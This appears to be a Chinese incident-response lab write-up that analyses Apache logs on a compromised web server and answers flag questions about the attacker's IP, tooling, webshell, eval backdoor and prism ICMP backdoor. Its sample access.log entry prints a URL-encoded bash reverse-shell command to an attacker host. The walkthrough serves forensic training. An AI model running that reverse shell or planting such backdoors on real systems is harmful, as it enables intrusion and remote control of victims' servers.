0X01 任務說明
0X02 靶機介紹
Webserver(Web服務器)是一種軟件或硬件設備,用于接收、處理并響應來自客戶端(如瀏覽器)的HTTP請求,提供網頁、圖片、視頻等靜態或動態內容,是互聯網基礎設施的核心組件之一,其主要功能包括處理HTTP請求(接收客戶端如瀏覽器發送的GET、POST等請求)、生成響應(根據請求內容返回對應資源如HTML頁面、JSON數據)、管理靜態文件(直接提供圖片、CSS、JavaScript等靜態資源)、與后端服務協作(通過API或腳本語言如PHP、Python與后端應用交互生成動態內容)以及支持安全協議(如HTTPS加密傳輸)、負載均衡(分發請求到多個服務器)和日志記錄(記錄訪問信息用于分析和審計)等,常見的Web服務器軟件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它們在性能、功能、配置復雜度等方面各有特點,廣泛應用于網站托管、應用服務、API網關等場景。
0X03 涉及知識
- access.log:
位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目錄下。
作用:記錄對服務器的每個HTTP請求的詳細信息,包括訪問時間、請求方法、URL、客戶端IP等。
格式:日志格式可以在配置文件中自定義,但通常包括客戶端IP、用戶標識符、用戶名稱、日期、請求
方法:請求的URL、HTTP協議版本、響應狀態碼、響應大小等信息。- error.log:
位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目錄下。
作用:記錄Apache服務器的錯誤和警告消息,用于故障排除和問題診斷。
格式:通常包含錯誤消息、時間戳和錯誤級別。- other_vhosts_access.log(虛擬主機訪問日志):
位置:通常位于虛擬主機配置中指定的位置。
作用:記錄虛擬主機的HTTP請求,與 access.log 類似,但僅針對特定虛擬主機。
格式:與 access.log 相同。
access.log日志格式
access.log 文件的格式是可配置的,通常使用常見的日志格式,包括以下字段:
- 客戶端IP地址:發出請求的客戶端的IP地址。
- 客戶端標識符(標識客戶端身份的用戶或代理):通常為空。
- 用戶名(如果啟用了HTTP身份驗證,記錄請求的用戶名稱):通常為空。
- 記錄時間:請求被記錄的時間。
- 請求方法:HTTP請求方法(例如,GET、POST)。
- 請求的URL:被請求的資源的URL。
- HTTP協議版本:請求使用的HTTP協議版本。
- 服務器響應狀態碼:服務器對請求的響應狀態碼(例如,200表示成功,404表示未找到,500表示服務器錯誤)。
- 響應大小:服務器響應的大小(以字節為單位)。
- 引用來源:如果有的話,表示從哪個頁面鏈接訪問的。
- 用戶代理:發出請求的用戶代理信息,通常包含瀏覽器類型和版本等。
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客戶端IP地址:192.168.1.7
2.客戶端標識符: -
3.用戶名: -
4.記錄時間:[24/Apr/2022:15:27:32 +0000]
5.請求方法:GET
6.請求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP協議版本:HTTP/1.1
8.服務器響應狀態碼:200
9.響應大小:242
10.引用來源(Referer):"-"
11.用戶代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
error.log日志格式
[Sun Apr 24 15:17:51.546416 2022] [:error] [pid 77910] [client
192.168.1.7:53328] script '/var/www/html/phpfm.php' not found or unable to
stat
[Sun Apr 24 15:17:51.546416 2022]
:表示錯誤發生的日期和時間,以及微秒級別的時間戳。這告訴您錯誤發生在2022年4月24日15:17:51.546416。這個時間戳通常以世界協調時(UTC)格式表示。[:error]
:指示錯誤的級別。在這里,級別是錯誤(error),這是Apache日志中的一種標準級別,表示發生了一個錯誤事件。[pid 77910]
:指示與錯誤相關的進程ID(PID)。在這里,PID是77910。這個信息對于跟蹤特定請求的錯誤非常有用。[client 192.168.1.7:53328]
:指示客戶端的IP地址和端口號。在這里,客戶端的IP地址是192.168.1.7,而連接的端口號是53328。這有助于確定引發錯誤的客戶端。script '/var/www/html/phpfm.php' not found or unable to stat
:這是錯誤消息的正文部分,提供了有關錯誤的詳細信息。具體來說,它表示Apache服務器正在嘗試查找名為phpfm.php
的腳本文件,但未能找到它,或者由于某種原因無法對其進行狀態檢查(stat操作)。
這可能是因為文件不存在、權限問題或其他問題。
0X04 應急響應
1、提交攻擊者的IP地址
首先,查看服務器所開放的端口,發現開放了80端口,并且運行的服務為apache2。
#通過access.log.1日志文件內容,查看服務器的各種狀態。
vim /var/log/apache2/access.log.1
可以看到IP為192.168.1.7的用戶使用了DIRSEARCH掃描工具對網站目錄進行了大量掃描,接著查看最后100行日志,在日志文件中發現漏洞利用的代碼,這里通過文件上傳漏洞,上傳了1.php文件,并執行了id和whoami命令,最后反彈了shell。
flag{192.168.1.7}
2、識別攻擊者使用的操作系統
flag{Linux x86_64}
3、找出攻擊者資產收集所使用的平臺
flag{shodan}
4、提交攻擊者目錄掃描所使用的工具名稱
flag{DIRSEARCH}
5、提交黑客首次攻擊成功的時間,格式:DD /MM/YY:HH:MM:SS
flag{24/Apr/2022:15:26:42}
6、找到攻擊者寫入的惡意后門文件,提交文件名(完整路徑)和后門密碼
結合網站根目錄路徑為/var/www/html,木馬所在的網站目錄為/data/avatar/1.php 并且連接密碼為2022。
flag{/var/www/html/data/avatar/1.php 2022}
7、找到攻擊者隱藏在正常web應用代碼中的惡意代碼,提交該文件名(完整路徑)
cd /var/www/html
#grep命令是Linux系統中一個非常重要且功能強大的文本搜索工具。
#以下命令用來檢索網站根目錄下包含一句話木馬eval關鍵字的文件。
grep -r "eval"
flag{/var/www/html/footer.php}
8、識別系統中存在的惡意程序進程,提交進程名
使用crontab -l 查看任務計劃發現存在后門進程
flag{prism}
9、找到文件系統中的惡意程序文件并提交文件名(完整路徑)
#查看進程
ps -aux
#查看程序位置
lsof -p 981 (進程PID號)
flag{/root/.mal/prism}
10、簡要描述該惡意文件的行為
https://github.com/andreafabrizi/prism 項目地址
flag{ICMP后門執行遠程攻擊者的命令}